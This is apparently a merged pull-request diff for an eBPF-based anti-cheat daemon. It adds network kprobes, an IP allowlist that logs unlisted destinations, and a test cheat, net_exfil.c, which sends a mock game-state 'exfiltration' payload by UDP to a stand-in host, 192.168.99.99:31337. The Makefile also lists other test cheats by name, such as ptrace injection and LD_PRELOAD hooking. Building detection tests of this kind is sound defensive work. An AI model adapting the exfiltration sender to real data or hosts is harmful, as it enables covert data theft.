Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
19 changes: 19 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,25 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [2.4.0] - 2026-03-15

### Added
- WP3: Network monitoring via eBPF kprobes (`ebpf/owlbear_net.bpf.c`)
- kprobes on `tcp_v4_connect`, `udp_sendmsg`; filter by protected PID; observe-only
- `OWL_EVENT_NET_CONNECT` (0x0600), `OWL_EVENT_NET_SEND` (0x0601) event types
- `struct owl_payload_network`: dst_addr, dst_port, protocol, bytes, comm
- `daemon/net_allowlist.{h,c}`: static IP allowlist, logs if destination not in list
- `cheats/net_exfil.c`: UDP game state exfiltration cheat
- `tests/test_net_allowlist.c`: 8 unit tests
- 2 BPF conversion tests for network events in `test_bpf_loader.c`

### Changed
- `include/owlbear_events.h`: network event types + payload + union member
- `daemon/bpf_loader.c`: loads owlbear_net skeleton
- `daemon/bpf_event_convert.c`: NET_CONNECT/NET_SEND conversion
- `daemon/event_pipeline.{h,c}`: allowlist integration, updated init signature
- `daemon/main.c`: network event formatting, policy rules, allowlist init

## [2.3.1] - 2026-03-15

### Fixed
Expand Down
3 changes: 2 additions & 1 deletion cheats/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,8 @@ CHEAT_SRCS := mem_reader.c \
mprotect_inject_via_ptrace.c \
ld_preload_hook.c \
debug_reg_setter.c \
dev_mem_reader.c
dev_mem_reader.c \
net_exfil.c

CHEAT_BINS := $(CHEAT_SRCS:.c=.bin)
CHEAT_DEPS := $(CHEAT_SRCS:.c=.d)
Expand Down
102 changes: 102 additions & 0 deletions cheats/net_exfil.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,102 @@
/*
* net_exfil - Test cheat sending game state over UDP
*
* Sends an identifying payload to 192.168.99.99:31337 via UDP.
* Exercises the network monitoring kprobes (udp_sendmsg).
*
* Usage: net_exfil
*
* Reads PID from the game info file (consistency with other cheats).
* The UDP send will succeed even if the destination is unreachable
* (UDP is connectionless). The kprobe fires on sendto().
*/

#include <arpa/inet.h>
#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

#include "../game/game_state.h"

#define EXFIL_HOST "192.168.99.99"
#define EXFIL_PORT 31337

static int parse_info_file(pid_t *pid)
{
FILE *f = fopen(GAME_INFO_FILE, "r");
if (!f) {
fprintf(stderr, "[net_exfil] Cannot open %s: %s\n",
GAME_INFO_FILE, strerror(errno));
return -1;
}

long p;
if (fscanf(f, "%ld", &p) != 1 || p <= 0) {
fprintf(stderr, "[net_exfil] Invalid info file format\n");
fclose(f);
return -1;
}
fclose(f);

*pid = (pid_t)p;
return 0;
}

int main(void)
{
pid_t game_pid = 0;

if (parse_info_file(&game_pid) != 0) {
fprintf(stderr, "[net_exfil] No game info file, "
"using PID=0 as placeholder\n");
}

printf("[net_exfil] Game PID: %d\n", game_pid);
printf("[net_exfil] Sending game state to %s:%d via UDP\n",
EXFIL_HOST, EXFIL_PORT);

int sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0) {
fprintf(stderr, "[net_exfil] socket() failed: %s\n",
strerror(errno));
return EXIT_FAILURE;
}

struct sockaddr_in dest;
memset(&dest, 0, sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_port = htons(EXFIL_PORT);
if (inet_pton(AF_INET, EXFIL_HOST, &dest.sin_addr) != 1) {
fprintf(stderr, "[net_exfil] inet_pton failed\n");
close(sock);
return EXIT_FAILURE;
}

/* Build exfiltration payload */
char payload[128];
int len = snprintf(payload, sizeof(payload),
"OWLBEAR_EXFIL pid=%d hp=9999 pos=0,0,0 "
"aim=42.0,42.0 score=999999",
game_pid);

ssize_t sent = sendto(sock, payload, (size_t)len, 0,
(struct sockaddr *)&dest, sizeof(dest));

if (sent < 0) {
fprintf(stderr, "[net_exfil] sendto() failed: %s\n",
strerror(errno));
close(sock);
return EXIT_FAILURE;
}

printf("[CHEAT] Exfiltrated %zd bytes to %s:%d\n",
sent, EXFIL_HOST, EXFIL_PORT);
printf("[net_exfil] Done.\n");

close(sock);
return EXIT_SUCCESS;
}
5 changes: 3 additions & 2 deletions daemon/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,8 @@ SRCS := main.c \
preload_detect.c \
policy.c \
scanner.c \
heartbeat.c
heartbeat.c \
net_allowlist.c
OBJS := $(SRCS:.c=.o)
DEPS := $(SRCS:.c=.d)

Expand All @@ -44,7 +45,7 @@ $(TARGET): $(OBJS)

# bpf_loader.c includes generated skeleton headers with overlength string literals.
bpf_loader.o: CFLAGS += -Wno-overlength-strings
bpf_loader.o: bpf_loader.c ../ebpf/owlbear_lsm.skel.h ../ebpf/owlbear_trace.skel.h ../ebpf/owlbear_kprobe.skel.h
bpf_loader.o: bpf_loader.c ../ebpf/owlbear_lsm.skel.h ../ebpf/owlbear_trace.skel.h ../ebpf/owlbear_kprobe.skel.h ../ebpf/owlbear_net.skel.h

clean:
$(RM) $(TARGET) $(OBJS) $(DEPS)
Expand Down
13 changes: 13 additions & 0 deletions daemon/bpf_event_convert.c
Original file line number Diff line number Diff line change
Expand Up @@ -66,6 +66,19 @@ int owl_bpf_event_convert(const void *bpf_data, size_t bpf_size,
: sizeof(bev->detail));
break;

case OWL_EVENT_NET_CONNECT:
case OWL_EVENT_NET_SEND:
/* detail[0..15]: dst_addr(4) + dst_port(2) + proto(2) + bytes(8) */
memcpy(&out->payload.network.dst_addr, bev->detail + 0, 4);
memcpy(&out->payload.network.dst_port, bev->detail + 4, 2);
memcpy(&out->payload.network.protocol, bev->detail + 6, 2);
memcpy(&out->payload.network.bytes, bev->detail + 8, 8);
memcpy(out->payload.network.comm, bev->comm,
sizeof(out->payload.network.comm) < sizeof(bev->comm)
? sizeof(out->payload.network.comm)
: sizeof(bev->comm));
break;

default:
memcpy(out->payload.raw, bev->detail,
sizeof(out->payload.raw) < sizeof(bev->detail)
Expand Down
50 changes: 49 additions & 1 deletion daemon/bpf_loader.c
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@
#include "owlbear_lsm.skel.h"
#include "owlbear_trace.skel.h"
#include "owlbear_kprobe.skel.h"
#include "owlbear_net.skel.h"

/*
* BPF event structure — must match owlbear_common.bpf.h.
Expand All @@ -42,11 +43,13 @@ struct owl_bpf_ctx {
struct owlbear_lsm_bpf *lsm;
struct owlbear_trace_bpf *trace;
struct owlbear_kprobe_bpf *kprobe;
struct owlbear_net_bpf *net;
struct ring_buffer *ringbuf;

bool has_lsm;
bool has_trace;
bool has_kprobe;
bool has_net;

/* Map fds for populating from userspace */
int protected_pids_fd;
Expand Down Expand Up @@ -105,6 +108,18 @@ int owl_bpf_event_convert(const void *bpf_data, size_t bpf_size,
: sizeof(bev->detail));
break;

case OWL_EVENT_NET_CONNECT:
case OWL_EVENT_NET_SEND:
memcpy(&out->payload.network.dst_addr, bev->detail + 0, 4);
memcpy(&out->payload.network.dst_port, bev->detail + 4, 2);
memcpy(&out->payload.network.protocol, bev->detail + 6, 2);
memcpy(&out->payload.network.bytes, bev->detail + 8, 8);
memcpy(out->payload.network.comm, bev->comm,
sizeof(out->payload.network.comm) < sizeof(bev->comm)
? sizeof(out->payload.network.comm)
: sizeof(bev->comm));
break;

default:
/* Copy detail into raw payload as fallback */
memcpy(out->payload.raw, bev->detail,
Expand Down Expand Up @@ -177,6 +192,13 @@ static int find_map_fd(struct owl_bpf_ctx *ctx, const char *name)
fd = bpf_map__fd(map);
}

if (fd < 0 && ctx->net) {
struct bpf_map *map = bpf_object__find_map_by_name(
ctx->net->obj, name);
if (map)
fd = bpf_map__fd(map);
}

return fd;
}

Expand Down Expand Up @@ -254,8 +276,27 @@ struct owl_bpf_ctx *owl_bpf_init(owl_bpf_event_cb cb, void *cb_ctx)
}
}

/* --- Net kprobe skeleton --- */
ctx->net = owlbear_net_bpf__open_and_load();
if (!ctx->net) {
fprintf(stderr, "owlbeard: BPF net load failed: %s\n",
strerror(errno));
} else {
err = owlbear_net_bpf__attach(ctx->net);
if (err) {
fprintf(stderr, "owlbeard: BPF net attach failed: %s\n",
strerror(-err));
owlbear_net_bpf__destroy(ctx->net);
ctx->net = NULL;
} else {
ctx->has_net = true;
printf("owlbeard: BPF net kprobe programs attached\n");
}
}

/* If nothing loaded, still return ctx (degraded mode) */
if (!ctx->has_lsm && !ctx->has_trace && !ctx->has_kprobe) {
if (!ctx->has_lsm && !ctx->has_trace && !ctx->has_kprobe &&
!ctx->has_net) {
fprintf(stderr, "owlbeard: WARNING: no BPF programs loaded, "
"running in kmod-only mode\n");
}
Expand Down Expand Up @@ -292,6 +333,8 @@ void owl_bpf_destroy(struct owl_bpf_ctx *ctx)
owlbear_trace_bpf__destroy(ctx->trace);
if (ctx->kprobe)
owlbear_kprobe_bpf__destroy(ctx->kprobe);
if (ctx->net)
owlbear_net_bpf__destroy(ctx->net);

free(ctx);
}
Expand Down Expand Up @@ -344,3 +387,8 @@ bool owl_bpf_has_kprobe(const struct owl_bpf_ctx *ctx)
{
return ctx && ctx->has_kprobe;
}

bool owl_bpf_has_net(const struct owl_bpf_ctx *ctx)
{
return ctx && ctx->has_net;
}
5 changes: 5 additions & 0 deletions daemon/bpf_loader.h
Original file line number Diff line number Diff line change
Expand Up @@ -89,6 +89,11 @@ bool owl_bpf_has_trace(const struct owl_bpf_ctx *ctx);
*/
bool owl_bpf_has_kprobe(const struct owl_bpf_ctx *ctx);

/**
* owl_bpf_has_net - Check if network kprobe programs loaded successfully
*/
bool owl_bpf_has_net(const struct owl_bpf_ctx *ctx);

/**
* owl_bpf_event_convert - Convert a BPF ring buffer event to owlbear_event
* @bpf_data: Raw BPF event data (struct owl_bpf_event layout)
Expand Down
15 changes: 15 additions & 0 deletions daemon/event_pipeline.c
Original file line number Diff line number Diff line change
Expand Up @@ -30,12 +30,14 @@ void owl_pipeline_init(struct owl_pipeline *pipe,
struct owl_policy *policy,
struct owl_sig_db *sig_db,
struct owl_ptree *ptree,
struct owl_net_allowlist *al,
pid_t target, bool enforce, FILE *logf)
{
memset(pipe, 0, sizeof(*pipe));
pipe->policy = policy;
pipe->sig_db = sig_db;
pipe->ptree = ptree;
pipe->net_allowlist = al;
pipe->target_pid = target;
pipe->enforce = enforce;
pipe->log_file = logf;
Expand Down Expand Up @@ -101,6 +103,19 @@ enum owl_policy_action owl_pipeline_process(struct owl_pipeline *pipe,
if (pipe->ptree)
owl_ptree_on_event(pipe->ptree, ev);

/* Check network events against IP allowlist */
if (pipe->net_allowlist &&
(ev->event_type == OWL_EVENT_NET_CONNECT ||
ev->event_type == OWL_EVENT_NET_SEND)) {
if (!owl_net_allowlist_check(pipe->net_allowlist,
ev->payload.network.dst_addr)) {
fprintf(out, "[NET_WARN] destination not in allowlist: "
"event=0x%04x pid=%u\n",
ev->event_type, ev->pid);
fflush(out);
}
}

return action;
}

Expand Down
16 changes: 10 additions & 6 deletions daemon/event_pipeline.h
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,7 @@
#include <sys/types.h>

#include "owlbear_events.h"
#include "net_allowlist.h"
#include "policy.h"
#include "process_tree.h"
#include "scanner.h"
Expand All @@ -25,12 +26,13 @@

/* Pipeline context */
struct owl_pipeline {
struct owl_policy *policy;
struct owl_sig_db *sig_db;
struct owl_ptree *ptree;
pid_t target_pid;
bool enforce;
FILE *log_file;
struct owl_policy *policy;
struct owl_sig_db *sig_db;
struct owl_ptree *ptree;
struct owl_net_allowlist *net_allowlist;
pid_t target_pid;
bool enforce;
FILE *log_file;

/* Statistics */
uint32_t events_processed;
Expand All @@ -45,6 +47,7 @@ struct owl_pipeline {
* @policy: Policy engine (ownership retained by caller)
* @sig_db: Signature database (ownership retained by caller)
* @ptree: Process tree (may be NULL; ownership retained by caller)
* @al: Net allowlist (may be NULL; ownership retained by caller)
* @target: PID of the protected process
* @enforce: Whether to take enforcement actions
* @logf: Log file (may be NULL for stdout only)
Expand All @@ -53,6 +56,7 @@ void owl_pipeline_init(struct owl_pipeline *pipe,
struct owl_policy *policy,
struct owl_sig_db *sig_db,
struct owl_ptree *ptree,
struct owl_net_allowlist *al,
pid_t target, bool enforce, FILE *logf);

/**
Expand Down
Loading
Loading